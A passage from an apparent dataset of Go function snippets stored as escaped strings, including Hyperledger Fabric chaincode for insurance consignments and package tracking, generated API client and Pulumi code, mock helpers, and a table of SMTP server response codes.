default_fields_data[spec]\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\tfmt.Println(\\\"&&&&&&& Updated Old Record Record &&&&&&&& \\\", record_specification_old)\\r\\n\\r\\n\\t\\tstatus, err_validation := t.validation_checks(stub, map_specification, record_specification_old)\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Updated ---- Status is \\\" + strconv.Itoa(status))\\r\\n\\r\\n\\t\\t//fmt.Println(\\\"Updated ---- err_validation is \\\" + err_validation.Error())\\r\\n\\r\\n\\t\\tif status == -2 {\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"Error: Exiting due to Validation Config failure: \\\" + err_validation.Error())\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\t\\treturn shim.Error(\\\"Error: Exiting due to Validation Config failure: \\\" + err_validation.Error())\\r\\n\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\tif err_validation != nil {\\r\\n\\r\\n\\t\\t\\tif status == -1 {\\r\\n\\r\\n\\t\\t\\t\\tsuccess = success + \\\" \\\" + err_validation.Error()\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\r\\n\\t} else {\\r\\n\\r\\n\\t\\tfor spec, _ := range default_fields_data {\\r\\n\\r\\n\\t\\t\\trecord_specification_old[spec] = default_fields_data[spec]\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\tfor spec, _ := range record_specification {\\r\\n\\r\\n\\t\\t\\trecord_specification_old[spec] = record_specification[spec] // Add all the new record fields to the older record\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\tstatus, err_validation := t.validation_checks(stub, map_specification, record_specification_old)\\r\\n\\r\\n\\t\\t//fmt.Println(\\\"Status is \\\" + strconv.Itoa(status))\\r\\n\\r\\n\\t\\t//if err_validation!=nil {\\r\\n\\r\\n\\t\\t//\\tfmt.Println(\\\"err_validation is \\\" + err_validation.Error())\\r\\n\\r\\n\\t\\t//\\tif((status == -1)||(status == -2)) {\\r\\n\\t\\t//\\r\\n\\t\\t//\\t\\tsuccess = success + \\\" \\\" + err_validation.Error()\\r\\n\\t\\t//\\t}\\r\\n\\r\\n\\t\\t//}\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Updated ---- Status is \\\" + strconv.Itoa(status))\\r\\n\\r\\n\\t\\t//fmt.Println(\\\"Updated ---- err_validation is \\\" + err_validation.Error())\\r\\n\\r\\n\\t\\tif status == -2 {\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"Error: Exiting due to Validation Config failure: \\\" + err_validation.Error())\\r\\n\\r\\n\\t\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\t\\treturn shim.Error(\\\"Error: Exiting due to Validation Config failure: \\\" + err_validation.Error())\\r\\n\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\tif err_validation != nil {\\r\\n\\r\\n\\t\\t\\tif status == -1 {\\r\\n\\r\\n\\t\\t\\t\\tsuccess = success + \\\" \\\" + err_validation.Error()\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\r\\n\\t}\\r\\n\\r\\n\\tvar concatenated_record_json []byte\\r\\n\\r\\n\\tfmt.Println(\\\"&&&&&&& Updated Old Record Record again &&&&&&&& \\\", record_specification_old)\\r\\n\\r\\n\\tconcatenated_record_json, err = json.Marshal(record_specification_old)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error: Unable to Marshal Concatenated Record to JSON\\\")\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error: Unable to Marshal Concatenated Record to JSON\\\")\\r\\n\\t}\\r\\n\\r\\n\\tfmt.Println(\\\"&&&&&&& Updated Old Record JSON &&&&&&&& \\\" + string(concatenated_record_json))\\r\\n\\r\\n\\tfmt.Println(\\\"&&&&&&& Key for Put &&&&&&&& \\\" + key)\\r\\n\\r\\n\\terr = stub.PutState(key, []byte(concatenated_record_json))\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error: Failed to put state: \\\" + err.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error: Failed to put state: \\\" + err.Error())\\r\\n\\t}\\r\\n\\r\\n\\terr = t.create_composite_keys(stub, specs, record_specification_old, key)\\r\\n\\r\\n\\tif err != nil {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Error in creating composite keys: \\\" + err.Error())\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Error(\\\"Error in creating composite keys: \\\" + err.Error())\\r\\n\\t}\\r\\n\\r\\n\\tif success != \\\"\\\" {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"Warnings! \\\" + success)\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Success([]byte(\\\"Warnings! \\\" + success))\\r\\n\\r\\n\\t} else {\\r\\n\\r\\n\\t\\tfmt.Println(\\\"***********Exiting invoke_insert_update***********\\\")\\r\\n\\r\\n\\t\\treturn shim.Success(nil)\\r\\n\\t}\\r\\n\\r\\n}\",\n \"func DecodeGrpcRespLicenseSpec(ctx context.Context, response interface{}) (interface{}, error) {\\n\\treturn response, nil\\n}\",\n \"func (o DiagnosticConditionResponseOutput) Code() pulumi.StringOutput {\\n\\treturn o.ApplyT(func(v DiagnosticConditionResponse) string { return v.Code }).(pulumi.StringOutput)\\n}\",\n \"func(t* SimpleChaincode) consignmentDetail(stub shim.ChaincodeStubInterface,args []string) pb.Response {\\n \\n var err error\\n if len(args) != 20 {\\n return shim.Error(\\\" hi Incorrect number of arguments. Expecting 20\\\")\\n }\\n //input sanitation\\n fmt.Println(\\\"- start filling policy detail\\\")\\n if len(args[0])<= 0{\\n return shim.Error(\\\"1st argument must be a non-empty string\\\")\\n }\\n if len(args[1]) <= 0 {\\n return shim.Error(\\\"2st argument must be a non-empty string\\\")\\n }\\n if len(args[2]) <= 0 {\\n return shim.Error(\\\"3rd argument must be a non-empty string\\\")\\n }\\n if len(args[3]) <= 0 {\\n return shim.Error(\\\"4th argument must be a non-empty string\\\")\\n }\\n if len(args[4]) <= 0 {\\n return shim.Error(\\\"5th argument must be a non-empty string\\\")\\n }\\n if len(args[5]) <= 0{\\n return shim.Error(\\\"6th argument must be a non-empty string\\\")\\n }\\n if len(args[6]) <= 0{\\n return shim.Error(\\\"7th argument must be a non-empty string\\\")\\n }\\n if len(args[7]) <= 0{\\n return shim.Error(\\\"8th argument must be a non-empty string\\\")\\n }\\n if len(args[8]) <= 0{\\n return shim.Error(\\\"9th argument must be a non-empty string\\\")\\n }\\n if len(args[9]) <= 0{\\n return shim.Error(\\\"10th argument must be a non-empty string\\\")\\n }\\n if len(args[10]) <= 0{\\n return shim.Error(\\\"11th argument must be a non-empty string\\\")\\n }\\n if len(args[11]) <= 0{\\n return shim.Error(\\\"12th argument must be a non-empty string\\\")\\n }\\n if len(args[12]) <= 0{\\n return shim.Error(\\\"13th argument must be a non-empty string\\\")\\n }\\n if len(args[13]) <= 0{\\n return shim.Error(\\\"14th argument must be a non-empty string\\\")\\n }\\n if len(args[14]) <= 0{\\n return shim.Error(\\\"15th argument must be a non-empty string\\\")\\n }\\n if len(args[15]) <= 0{\\n return shim.Error(\\\"16th argument must be a non-empty string\\\")\\n }\\n\\tif len(args[16]) <= 0{\\n return shim.Error(\\\"17th argument must be a non-empty string\\\")\\n }\\n if len(args[17]) <= 0{\\n return shim.Error(\\\"18th argument must be a non-empty string\\\")\\n }\\n if len(args[18]) <= 0{\\n return shim.Error(\\\"19th argument must be a non-empty string\\\")\\n }\\n if len(args[19]) <= 0{\\n return shim.Error(\\\"20th argument must be a non-empty string\\\")\\n }\\n \\n consignment:=Consignment{}\\n consignment.UserId = args[0]\\n \\n \\n consignment.ConsignmentWeight, err = strconv.Atoi(args[1])\\n if err != nil {\\n return shim.Error(\\\"Failed to get ConsignmentWeight as cannot convert it to int\\\")\\n }\\n consignment.ConsignmentValue, err = strconv.Atoi(args[2])\\n if err != nil {\\n return shim.Error(\\\"Failed to get ConsignmentValue as cannot convert it to int\\\")\\n }\\n consignment.PolicyName=args[3]\\n fmt.Println(\\\"consignment\\\", consignment)\\n consignment.SumInsured, err = strconv.Atoi(args[4])\\n if err != nil {\\n return shim.Error(\\\"Failed to get SumInsured as cannot convert it to int\\\")\\n }\\n consignment.PremiumAmount, err = strconv.Atoi(args[5])\\n if err != nil {\\n return shim.Error(\\\"Failed to get Arun as cannot convert it to int\\\")\\n }\\n \\n consignment.ModeofTransport=args[6]\\n fmt.Println(\\\"consignment\\\", consignment)\\n consignment.PackingMode=args[7]\\n fmt.Println(\\\"consignment\\\", consignment)\\n consignment.ConsignmentType=args[8]\\n fmt.Println(\\\"consignment\\\", consignment)\\n consignment.ContractType=args[9]\\n fmt.Println(\\\"consignment\\\", consignment)\\n consignment.PolicyType=args[10]\\n fmt.Println(\\\"consignment\\\", consignment)\\n \\n consignment.Email=args[11]\\n fmt.Println(\\\"consignment\\\", consignment)\\n \\n consignment.PolicyHolderName=args[12]\\n fmt.Println(\\\"consignment\\\", consignment)\\n consignment.UserType=args[13]\\n fmt.Println(\\\"consignment\\\", consignment)\\n consignment.InvoiceNo, err = strconv.Atoi(args[14])\\n if err != nil {\\n return shim.Error(\\\"Failed to get InvoiceNo as cannot convert it to int\\\")\\n }\\n consignment.PolicyNumber, err = strconv.Atoi(args[15])\\n if err != nil {\\n return shim.Error(\\\"Failed to get PolicyNumber as cannot convert it to int\\\")\\n }\\n\\tconsignment.PolicyIssueDate = args[16]\\n\\tconsignment.PolicyEndDate = args[17]\\n\\tconsignment.VoyageStartDate = args[18]\\n\\tconsignment.VoyageEndDate = args[19]\\n \\n consignmentAsBytes, err := stub.GetState(\\\"getconsignment\\\")\\n if err != nil {\\n return shim.Error(\\\"Failed to get consignment\\\")\\n }\\n \\n var allconsignment AllConsignment\\n json.Unmarshal(consignmentAsBytes, &allconsignment) //un stringify it aka JSON.parse()\\n allconsignment.Consignmentlist = append(allconsignment.Consignmentlist, consignment)\\n fmt.Println(\\\"allconsignment\\\", allconsignment.Consignmentlist) //append to allconsignment\\n fmt.Println(\\\"! appended policy to allconsignment\\\")\\n \\n jsonAsBytes, _ := json.Marshal(allconsignment)\\n fmt.Println(\\\"json\\\", jsonAsBytes)\\n err = stub.PutState(\\\"getconsignment\\\", jsonAsBytes) //rewrite allconsignment\\n if err != nil {\\n return shim.Error(err.Error())\\n }\\n \\n fmt.Println(\\\"- end of the consignmentdetail\\\")\\n return shim.Success(nil)\\n \\n}\",\n \"func (t *SimpleChaincode) create(stub shim.ChaincodeStubInterface, args []string) ([]byte, error) {\\nfmt.Println(\\\"running create()\\\")\\n\\nvar key, jsonResp string\\nvar err error\\n\\nif len(args) != 8 {\\n jsonResp = \\\" Error: Incorrect number of arguments. Expecting 8 in order of PkgID, Shipper, Insurer, Consignee, TempratureMin, TempratureMax, PackageDes, Provider \\\"\\n return nil, errors.New(jsonResp)\\n }\\n\\nvar packageinfo PackageInfo\\n\\nkey = args[0]\\n\\npackageinfo.PkgId = args[0]\\npackageinfo.Shipper = args[1]\\npackageinfo.Insurer = args[2]\\npackageinfo.Consignee = args[3]\\npackageinfo.TempratureMin , err = strconv.Atoi(args[4])\\nif err != nil {\\n jsonResp = \\\" Error: 5th argument must be a numeric string \\\"\\n return nil, errors.New(jsonResp)\\n\\t}\\npackageinfo.TempratureMax , err = strconv.Atoi(args[5])\\nif err != nil {\\n jsonResp = \\\" Error: 5th argument must be a numeric string \\\"\\n return nil, errors.New(jsonResp)\\n\\t}\\npackageinfo.PackageDes = args[6]\\npackageinfo.Provider = args[7]\\npackageinfo.PkgStatus = \\\"Label_Generated\\\" // Label_Generated\\n\\nbytes, err := json.Marshal(&packageinfo)\\nif err != nil {\\n fmt.Println(\\\"Could not marshal personal info object\\\", err)\\n return nil, err\\n }\\n\\n// check for duplicate package id\\nvalAsbytes, err := stub.GetState(key)\\n\\nif valAsbytes != nil {\\n jsonResp = \\\" Package already present on blockchain \\\" + key\\n return nil, errors.New(jsonResp)\\n }\\n\\n// populate package holder\\nvar packageids_array PKG_Holder\\npackageids_arrayasbytes, err := stub.GetState(\\\"PkgIdsKey\\\")\\n\\nerr = json.Unmarshal(packageids_arrayasbytes, &packageids_array)\\nif err != nil {\\n fmt.Println(\\\"Could not marshal pkgid array object\\\", err)\\n return nil, err\\n }\\n\\npackageids_array.PkgIds = append(packageids_array.PkgIds , packageinfo.PkgId)\\npackageids_arrayasbytes, err = json.Marshal(&packageids_array)\\n\\n// write to blockchain\\nerr = stub.PutState(\\\"PkgIdsKey\\\", packageids_arrayasbytes)\\nif err != nil {\\n return nil, errors.New(\\\"Error writing to blockchain for PKG_Holder\\\")\\n }\\n\\nerr = stub.PutState(key, bytes)\\nif err != nil {\\n return nil, err\\n }\\n\\nreturn nil, nil\\n}\",\n \"func (*IssueCodeResponse) Descriptor() ([]byte, []int) {\\n\\treturn file_pkg_verifycode_pb_request_proto_rawDescGZIP(), []int{1}\\n}\",\n \"func (a *Client) ModifyRegistrationDetails(params *ModifyRegistrationDetailsParams, authInfo runtime.ClientAuthInfoWriter, opts ...ClientOption) (*ModifyRegistrationDetailsOK, error) {\\n\\t// TODO: Validate the params before sending\\n\\tif params == nil {\\n\\t\\tparams = NewModifyRegistrationDetailsParams()\\n\\t}\\n\\top := &runtime.ClientOperation{\\n\\t\\tID: \\\"modifyRegistrationDetails\\\",\\n\\t\\tMethod: \\\"PATCH\\\",\\n\\t\\tPathPattern: \\\"/applications/{appName}\\\",\\n\\t\\tProducesMediaTypes: []string{\\\"application/json\\\"},\\n\\t\\tConsumesMediaTypes: []string{\\\"application/json\\\"},\\n\\t\\tSchemes: []string{\\\"http\\\", \\\"https\\\"},\\n\\t\\tParams: params,\\n\\t\\tReader: &ModifyRegistrationDetailsReader{formats: a.formats},\\n\\t\\tAuthInfo: authInfo,\\n\\t\\tContext: params.Context,\\n\\t\\tClient: params.HTTPClient,\\n\\t}\\n\\tfor _, opt := range opts {\\n\\t\\topt(op)\\n\\t}\\n\\n\\tresult, err := a.transport.Submit(op)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tsuccess, ok := result.(*ModifyRegistrationDetailsOK)\\n\\tif ok {\\n\\t\\treturn success, nil\\n\\t}\\n\\t// unexpected success response\\n\\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\\n\\tmsg := fmt.Sprintf(\\\"unexpected success response for modifyRegistrationDetails: API contract not enforced by server. Client expected to get an error, but got: %T\\\", result)\\n\\tpanic(msg)\\n}\",\n \"func (o UserFacingErrorResponseOutput) Code() pulumi.StringPtrOutput {\\n\\treturn o.ApplyT(func(v UserFacingErrorResponse) *string { return v.Code }).(pulumi.StringPtrOutput)\\n}\",\n \"func withReturnValue() string {\\n\\n\\treturn \\\"hello\\\"\\n}\",\n \"func (mmGetCode *mClientMockGetCode) Return(c2 CodeDescriptor, err error) *ClientMock {\\n\\tif mmGetCode.mock.funcGetCode != nil {\\n\\t\\tmmGetCode.mock.t.Fatalf(\\\"ClientMock.GetCode mock is already set by Set\\\")\\n\\t}\\n\\n\\tif mmGetCode.defaultExpectation == nil {\\n\\t\\tmmGetCode.defaultExpectation = &ClientMockGetCodeExpectation{mock: mmGetCode.mock}\\n\\t}\\n\\tmmGetCode.defaultExpectation.results = &ClientMockGetCodeResults{c2, err}\\n\\treturn mmGetCode.mock\\n}\",\n \"func (*TestReport_Setup_SetupAction_Operation_ResultCode) Descriptor() ([]byte, []int) {\\n\\treturn file_proto_google_fhir_proto_r5_core_resources_test_report_proto_rawDescGZIP(), []int{0, 3, 0, 0, 0}\\n}\",\n \"func (o *IbmsPatchByIDDefault) Code() int {\\n\\treturn o._statusCode\\n}\",\n \"func init() {\\n\\n\\tCodes = Responses{}\\n\\n\\tCodes.FailLineTooLong = (&Response{\\n\\t\\tEnhancedCode: InvalidCommand,\\n\\t\\tBasicCode: 554,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Line too long!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailMailboxDoesntExist = (&Response{\\n\\t\\tEnhancedCode: InvalidCommand,\\n\\t\\tBasicCode: 550,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Sorry, no mailbox here by that name!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailNestedMailCmd = (&Response{\\n\\t\\tEnhancedCode: InvalidCommand,\\n\\t\\tBasicCode: 503,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Nested mail command!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailBadSequence = (&Response{\\n\\t\\tEnhancedCode: InvalidCommand,\\n\\t\\tBasicCode: 503,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Bad sequence!\\\",\\n\\t}).String()\\n\\n\\tCodes.SuccessMailCmd = (&Response{\\n\\t\\tEnhancedCode: OtherAddressStatus,\\n\\t\\tClass: ClassSuccess,\\n\\t}).String()\\n\\n\\tCodes.SuccessHelpCmd = \\\"214\\\"\\n\\n\\tCodes.SuccessRcptCmd = (&Response{\\n\\t\\tEnhancedCode: DestinationMailboxAddressValid,\\n\\t\\tClass: ClassSuccess,\\n\\t}).String()\\n\\n\\tCodes.SuccessResetCmd = Codes.SuccessMailCmd\\n\\tCodes.SuccessNoopCmd = (&Response{\\n\\t\\tEnhancedCode: OtherStatus,\\n\\t\\tClass: ClassSuccess,\\n\\t}).String()\\n\\n\\tCodes.ErrorUnableToResolveHost = (&Response{\\n\\t\\tClass: ClassTransientFailure,\\n\\t\\tComment: \\\"Unable to resolve host!\\\",\\n\\t\\tBasicCode: 451,\\n\\t}).String()\\n\\n\\tCodes.SuccessVerifyCmd = (&Response{\\n\\t\\tEnhancedCode: OtherOrUndefinedProtocolStatus,\\n\\t\\tBasicCode: 252,\\n\\t\\tClass: ClassSuccess,\\n\\t\\tComment: \\\"Cannot verify user!\\\",\\n\\t}).String()\\n\\n\\tCodes.ErrorTooManyRecipients = (&Response{\\n\\t\\tEnhancedCode: TooManyRecipients,\\n\\t\\tBasicCode: 452,\\n\\t\\tClass: ClassTransientFailure,\\n\\t\\tComment: \\\"Too many recipients!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailTooBig = (&Response{\\n\\t\\tEnhancedCode: MessageLengthExceedsAdministrativeLimit,\\n\\t\\tBasicCode: 552,\\n\\t\\tClass: ClassTransientFailure,\\n\\t\\tComment: \\\"Message exceeds maximum size!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailMailboxFull = (&Response{\\n\\t\\tEnhancedCode: MailboxFull,\\n\\t\\tBasicCode: 522,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Users mailbox is full!\\\",\\n\\t}).String()\\n\\n\\tCodes.ErrorRelayDenied = (&Response{\\n\\t\\tEnhancedCode: BadDestinationMailboxAddress,\\n\\t\\tBasicCode: 454,\\n\\t\\tClass: ClassTransientFailure,\\n\\t\\tComment: \\\"Relay access denied!\\\",\\n\\t}).String()\\n\\n\\tCodes.ErrorAuth = (&Response{\\n\\t\\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\\n\\t\\tBasicCode: 454,\\n\\t\\tClass: ClassTransientFailure,\\n\\t\\tComment: \\\"Problem with auth!\\\",\\n\\t}).String()\\n\\n\\tCodes.SuccessQuitCmd = (&Response{\\n\\t\\tEnhancedCode: OtherStatus,\\n\\t\\tBasicCode: 221,\\n\\t\\tClass: ClassSuccess,\\n\\t\\tComment: \\\"Bye!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailNoSenderDataCmd = (&Response{\\n\\t\\tEnhancedCode: InvalidCommand,\\n\\t\\tBasicCode: 503,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"No sender!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailNoRecipientsDataCmd = (&Response{\\n\\t\\tEnhancedCode: InvalidCommand,\\n\\t\\tBasicCode: 503,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"No recipients!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailAccessDenied = (&Response{\\n\\t\\tEnhancedCode: DeliveryNotAuthorized,\\n\\t\\tBasicCode: 530,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Authentication required!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailAccessDenied = (&Response{\\n\\t\\tEnhancedCode: DeliveryNotAuthorized,\\n\\t\\tBasicCode: 554,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Relay access denied!\\\",\\n\\t}).String()\\n\\n\\tCodes.ErrorRelayAccess = (&Response{\\n\\t\\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\\n\\t\\tBasicCode: 455,\\n\\t\\tClass: ClassTransientFailure,\\n\\t\\tComment: \\\"Oops, problem with relay access!\\\",\\n\\t}).String()\\n\\n\\tCodes.SuccessDataCmd = \\\"354 Go ahead!\\\"\\n\\n\\tCodes.SuccessAuthentication = (&Response{\\n\\t\\tEnhancedCode: SecurityStatus,\\n\\t\\tBasicCode: 235,\\n\\t\\tClass: ClassSuccess,\\n\\t\\tComment: \\\"Authentication successful!\\\",\\n\\t}).String()\\n\\n\\tCodes.SuccessStartTLSCmd = (&Response{\\n\\t\\tEnhancedCode: OtherStatus,\\n\\t\\tBasicCode: 220,\\n\\t\\tClass: ClassSuccess,\\n\\t\\tComment: \\\"Ready to start TLS!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailUnrecognizedCmd = (&Response{\\n\\t\\tEnhancedCode: InvalidCommand,\\n\\t\\tBasicCode: 554,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Unrecognized command!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailMaxUnrecognizedCmd = (&Response{\\n\\t\\tEnhancedCode: InvalidCommand,\\n\\t\\tBasicCode: 554,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Too many unrecognized commands!\\\",\\n\\t}).String()\\n\\n\\tCodes.ErrorShutdown = (&Response{\\n\\t\\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\\n\\t\\tBasicCode: 421,\\n\\t\\tClass: ClassTransientFailure,\\n\\t\\tComment: \\\"Server is shutting down. Please try again later!\\\",\\n\\t}).String()\\n\\n\\tCodes.FailReadLimitExceededDataCmd = (&Response{\\n\\t\\tEnhancedCode: SyntaxError,\\n\\t\\tBasicCode: 550,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"ERR \\\",\\n\\t}).String()\\n\\n\\tCodes.FailCmdNotSupported = (&Response{\\n\\t\\tBasicCode: 502,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Cmd not supported\\\",\\n\\t}).String()\\n\\n\\tCodes.FailUnqalifiedHostName = (&Response{\\n\\t\\tEnhancedCode: SyntaxError,\\n\\t\\tBasicCode: 550,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Need fully-qualified hostname for domain part\\\",\\n\\t}).String()\\n\\n\\tCodes.FailReadErrorDataCmd = (&Response{\\n\\t\\tEnhancedCode: OtherOrUndefinedMailSystemStatus,\\n\\t\\tBasicCode: 451,\\n\\t\\tClass: ClassTransientFailure,\\n\\t\\tComment: \\\"ERR \\\",\\n\\t}).String()\\n\\n\\tCodes.FailPathTooLong = (&Response{\\n\\t\\tEnhancedCode: InvalidCommandArguments,\\n\\t\\tBasicCode: 550,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Path too long\\\",\\n\\t}).String()\\n\\n\\tCodes.FailInvalidAddress = (&Response{\\n\\t\\tEnhancedCode: InvalidCommandArguments,\\n\\t\\tBasicCode: 501,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Syntax: MAIL FROM:
[EXT]\\\",\\n\\t}).String()\\n\\n\\tCodes.FailInvalidRecipient = (&Response{\\n\\t\\tEnhancedCode: InvalidCommandArguments,\\n\\t\\tBasicCode: 501,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Syntax: RCPT TO:
\\\",\\n\\t}).String()\\n\\n\\tCodes.FailInvalidExtension = (&Response{\\n\\t\\tEnhancedCode: InvalidCommandArguments,\\n\\t\\tBasicCode: 501,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Invalid arguments\\\",\\n\\t}).String()\\n\\n\\tCodes.FailLocalPartTooLong = (&Response{\\n\\t\\tEnhancedCode: InvalidCommandArguments,\\n\\t\\tBasicCode: 550,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Local part too long, cannot exceed 64 characters\\\",\\n\\t}).String()\\n\\n\\tCodes.FailDomainTooLong = (&Response{\\n\\t\\tEnhancedCode: InvalidCommandArguments,\\n\\t\\tBasicCode: 550,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Domain cannot exceed 255 characters\\\",\\n\\t}).String()\\n\\n\\tCodes.FailMissingArgument = (&Response{\\n\\t\\tEnhancedCode: InvalidCommandArguments,\\n\\t\\tBasicCode: 550,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Argument is missing in you command\\\",\\n\\t}).String()\\n\\n\\tCodes.FailBackendNotRunning = (&Response{\\n\\t\\tEnhancedCode: OtherOrUndefinedProtocolStatus,\\n\\t\\tBasicCode: 554,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Transaction failed - backend not running \\\",\\n\\t}).String()\\n\\n\\tCodes.FailBackendTransaction = (&Response{\\n\\t\\tEnhancedCode: OtherOrUndefinedProtocolStatus,\\n\\t\\tBasicCode: 554,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"ERR \\\",\\n\\t}).String()\\n\\n\\tCodes.SuccessMessageQueued = (&Response{\\n\\t\\tEnhancedCode: OtherStatus,\\n\\t\\tBasicCode: 250,\\n\\t\\tClass: ClassSuccess,\\n\\t\\tComment: \\\"OK Queued as \\\",\\n\\t}).String()\\n\\n\\tCodes.FailBackendTimeout = (&Response{\\n\\t\\tEnhancedCode: OtherOrUndefinedProtocolStatus,\\n\\t\\tBasicCode: 554,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"ERR transaction timeout\\\",\\n\\t}).String()\\n\\n\\tCodes.FailAuthentication = (&Response{\\n\\t\\tEnhancedCode: OtherOrUndefinedProtocolStatus,\\n\\t\\tBasicCode: 535,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"ERR Authentication failed\\\",\\n\\t}).String()\\n\\n\\tCodes.ErrorCmdParamNotImplemented = (&Response{\\n\\t\\tEnhancedCode: InvalidCommandArguments,\\n\\t\\tBasicCode: 504,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"ERR Command parameter not implemented\\\",\\n\\t}).String()\\n\\n\\tCodes.FailRcptCmd = (&Response{\\n\\t\\tEnhancedCode: BadDestinationMailboxAddress,\\n\\t\\tBasicCode: 550,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"User unknown in local recipient table\\\",\\n\\t}).String()\\n\\n\\tCodes.FailBadSenderMailboxAddressSyntax = (&Response{\\n\\t\\tEnhancedCode: BadSendersMailboxAddressSyntax,\\n\\t\\tBasicCode: 501,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Bad sender address syntax\\\",\\n\\t}).String()\\n\\n\\tCodes.FailBadDestinationMailboxAddressSyntax = (&Response{\\n\\t\\tEnhancedCode: BadSendersMailboxAddressSyntax,\\n\\t\\tBasicCode: 501,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Bad sender address syntax\\\",\\n\\t}).String()\\n\\n\\tCodes.FailEncryptionNeeded = (&Response{\\n\\t\\tEnhancedCode: EncryptionNeeded,\\n\\t\\tBasicCode: 523,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"TLS required, use STARTTLS\\\",\\n\\t}).String()\\n\\n\\tCodes.FailUndefinedSecurityStatus = (&Response{\\n\\t\\tEnhancedCode: SecurityStatus,\\n\\t\\tBasicCode: 550,\\n\\t\\tClass: ClassPermanentFailure,\\n\\t\\tComment: \\\"Undefined security failure\\\",\\n\\t}).String()\\n}\",\n \"func (t *SimpleChaincode) updatetemp(stub shim.ChaincodeStubInterface, args []string) ([]byte, error) {\\nvar key , jsonResp string\\nvar err error\\nfmt.Println(\\\"running updatetemp()\\\")\\n\\nif len(args) != 2 {\\n jsonResp = \\\"Error :Incorrect number of arguments. Expecting 2. name of the key and temprature value to set\\\"\\n return nil, errors.New(jsonResp)\\n }\\n\\n\\nkey = args[0]\\nvar packageinfo PackageInfo\\nvar temprature_reading int\\n\\nvalAsbytes, err := stub.GetState(key)\\n\\nif err != nil {\\n jsonResp = \\\"Error :Failed to get state for \\\" + key\\n return nil, errors.New(jsonResp)\\n }\\n\\nerr = json.Unmarshal(valAsbytes, &packageinfo)\\nif err != nil {\\n fmt.Println(\\\"Could not marshal info object\\\", err)\\n return nil, err\\n }\\n// validate pkd exist or not by checking 